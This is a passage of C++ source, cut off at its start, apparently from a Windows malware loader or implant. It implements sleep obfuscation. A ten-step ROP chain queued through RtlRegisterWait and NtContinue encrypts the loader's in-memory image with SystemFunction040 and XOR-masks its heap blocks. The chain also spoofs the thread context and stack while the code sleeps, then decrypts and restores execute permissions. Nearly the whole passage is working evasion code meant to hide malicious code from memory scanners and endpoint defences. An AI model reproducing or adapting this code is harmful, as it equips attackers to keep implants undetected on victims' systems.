if (HeapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY) {
XorCipher((PBYTE)HeapEntry.lpData, HeapEntry.cbData, Key.EncryptionKey, sizeof(Key.EncryptionKey));
}
}
}
}
/*================================================
@ GetWorkerThreadId
# Retrieves the thread ID of the thread pool worker
# that will execute the ROP chain by queuing a
# lightweight probe work item
================================================*/
VOID GetWorkerThreadId(
OUT PDWORD pdwThreadId
) {
*pdwThreadId = GetCurrentThreadId();
}
/*================================================
@ MaskImage
# Encrypts the loader's image in memory using a
# ROP chain executed on a worker thread. Chains
# VirtualProtect → SystemFunction040 (encrypt) →
# Sleep → SystemFunction041 (decrypt) → restore
================================================*/
VOID MaskImage(
_In_ DWORD dwTimeout
) {
CONTEXT Ctx[10] = { 0 };
CONTEXT CtxInit = { 0 };
CONTEXT CtxSpoof = { 0 };
CONTEXT CtxBackup = { 0 };
HANDLE EventStart = { 0 };
HANDLE EventWait = { 0 };
HANDLE EventTimer = { 0 };
HANDLE EventEnd = { 0 };
HANDLE Timer = { 0 };
HANDLE Thread = { 0 };
DWORD Delay = { 0 };
DWORD Protect = { 0 };
DWORD ThreadId = { 0 };
KEY Key = { 0 };
NTSTATUS Status = STATUS_SUCCESS;
/* Get image base & size of image */
PVOID ImageBase = (PVOID)NtCurrentTeb()->ProcessEnvironmentBlock->ImageBase;
ULONG SizeOfImage = ((PIMAGE_NT_HEADERS)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;
#ifdef DEBUG
DBGPRINT("\n[*] Masking the Image \n");
DBGPRINT("\n[i] Image@ -> [0x%p] \n", ImageBase);
DBGPRINT("\n[i] Size Of Image -> [%ld] Bytes \n", SizeOfImage);
#endif
/* Create events for starting the rop chain and waiting for it to finish */
if (!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventTimer, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) ||
!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventStart, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) ||
!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventWait, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) ||
!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventEnd, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE))
) {
#ifdef DEBUG
DBGPRINT("[-] NtCreateEvent Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Get a thread context from local process */
CtxSpoof.ContextFlags = CtxBackup.ContextFlags = CONTEXT_ALL;
if (!GetRandomThreadContext(&CtxSpoof)) {
#ifdef DEBUG
DBGPRINT("[-] Failed To Get Thread Context To Spoof - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Fix race condition */
if (NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)GetWorkerThreadId, &ThreadId, Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE)) &&
NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)g_Win32.Nt.RtlCaptureContext, &CtxInit, Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE))
) {
if (NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)g_Win32.K32.SetEvent, EventTimer, Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE)))
{
if (!NT_SUCCESS(Status = g_Win32.Nt.NtWaitForSingleObject(EventTimer, FALSE, nullptr))) {
#ifdef DEBUG
DBGPRINT("[-] NtWaitForSingleObject Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Create a handle to the local process */
if (!NT_SUCCESS(Status = g_Win32.Nt.NtDuplicateObject(NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &Thread, THREAD_ALL_ACCESS, 0, 0))) {
#ifdef DEBUG
DBGPRINT("[-] NtDuplicateObject Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Prepare rop chain */
for (int i = 0; i < ARRAYSIZE(Ctx); i++) {
Primitive::MemoryCopy(&Ctx[i], &CtxInit, sizeof(CONTEXT));
Ctx[i].Rsp -= sizeof(PVOID);
}
/* Start of ropchain */
Ctx[0].Rip = (ULONG_PTR)(g_Win32.K32.WaitForSingleObjectEx);
Ctx[0].Rcx = (ULONG_PTR)(EventStart);
Ctx[0].Rdx = (ULONG_PTR)(INFINITE);
Ctx[0].R8 = (ULONG_PTR)(FALSE);
/* Change memory permissions to RW */
Ctx[1].Rip = (ULONG_PTR)(g_Win32.K32.VirtualProtect);
Ctx[1].Rcx = (ULONG_PTR)(ImageBase);
Ctx[1].Rdx = (ULONG_PTR)(SizeOfImage);
Ctx[1].R8 = (ULONG_PTR)(PAGE_READWRITE);
Ctx[1].R9 = (ULONG_PTR)(&Protect);
/* Encrypt image base address */
Ctx[2].Rip = (ULONG_PTR)(g_Win32.CryptBase.SystemFunction040);
Ctx[2].Rcx = (ULONG_PTR)(ImageBase);
Ctx[2].Rdx = (ULONG_PTR)(SizeOfImage);
/* Get backup of current context */
Ctx[3].Rip = (ULONG_PTR)(g_Win32.Nt.NtGetContextThread);
Ctx[3].Rcx = (ULONG_PTR)(Thread);
Ctx[3].Rdx = (ULONG_PTR)(&CtxBackup);
/* Spoof of current thread stack */
Ctx[4].Rip = (ULONG_PTR)(g_Win32.Nt.NtSetContextThread);
Ctx[4].Rcx = (ULONG_PTR)(Thread);
Ctx[4].Rdx = (ULONG_PTR)(&CtxSpoof);
/* Sleep */
Ctx[5].Rip = (ULONG_PTR)(g_Win32.K32.WaitForSingleObjectEx);
Ctx[5].Rcx = (ULONG_PTR)(NtCurrentProcess());
Ctx[5].Rdx = (ULONG_PTR)(dwTimeout);
Ctx[5].R8 = (ULONG_PTR)(FALSE);
/* Restore thread context from backup */
Ctx[6].Rip = (ULONG_PTR)(g_Win32.Nt.NtSetContextThread);
Ctx[6].Rcx = (ULONG_PTR)(Thread);
Ctx[6].Rdx = (ULONG_PTR)(&CtxBackup);
/* Decrypt image base address */
Ctx[7].Rip = (ULONG_PTR)(g_Win32.CryptBase.SystemFunction041);
Ctx[7].Rcx = (ULONG_PTR)(ImageBase);
Ctx[7].Rdx = (ULONG_PTR)(SizeOfImage);
/* Change memory permission to RX */
Ctx[8].Rip = (ULONG_PTR)(g_Win32.K32.VirtualProtect);
Ctx[8].Rcx = (ULONG_PTR)(ImageBase);
Ctx[8].Rdx = (ULONG_PTR)(SizeOfImage);
Ctx[8].R8 = (ULONG_PTR)(PAGE_EXECUTE_READ);
Ctx[8].R9 = (ULONG_PTR)(&Protect);
/* End of ropchain */
Ctx[9].Rip = (ULONG_PTR)(g_Win32.K32.SetEvent);
Ctx[9].Rcx = (ULONG_PTR)(EventEnd);
/* Mask heap */
#ifdef DEBUG
DBGPRINT("[*] Masking The Heap Blocks \n");
#endif
MaskHeap(Key, ThreadId, TRUE);
#ifdef DEBUG
DBGPRINT("[*] Queuing ROP Chain \n");
#endif
/* Execute Timers */
for (int i = 0; i < ARRAYSIZE(Ctx); i++) {
if (!NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)g_Win32.Nt.NtContinue, &Ctx[i], Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE))) {
#ifdef DEBUG
DBGPRINT("[-] RtlRegisterWait Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
}
#ifdef DEBUG
DBGPRINT("\n[*] Triggering Sleep Obfuscation \n");
#endif
Status = g_Win32.Nt.NtSignalAndWaitForSingleObject(EventStart, EventEnd, FALSE, nullptr);
/* Unmask heap */
#ifdef DEBUG
DBGPRINT("\n[*] Unmasking The Heap Blocks \n");
#endif
MaskHeap(Key, ThreadId, FALSE);
if (!NT_SUCCESS(Status)) {
#ifdef DEBUG
DBGPRINT("[-] NtSignalAndWaitForSingleObject Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
} else {
#ifdef DEBUG
DBGPRINT("[-] RtlRegisterWait Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
}
} else {
#ifdef DEBUG
DBGPRINT("[-] RtlRegisterWait Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
}
#ifdef DEBUG
DBGPRINT("\n[+] Sleep Cycle Complete \n");
#endif
Leave:
if (EventTimer) {
Macro::DeleteHandle(EventTimer);
}
if (EventStart) {
Macro::DeleteHandle(EventStart);
}
if (EventWait) {
Macro::DeleteHandle(EventWait);
}
if (EventEnd) {
Macro::DeleteHandle(EventEnd);
}
if (Thread) {
Macro::DeleteHandle(Thread);
}
}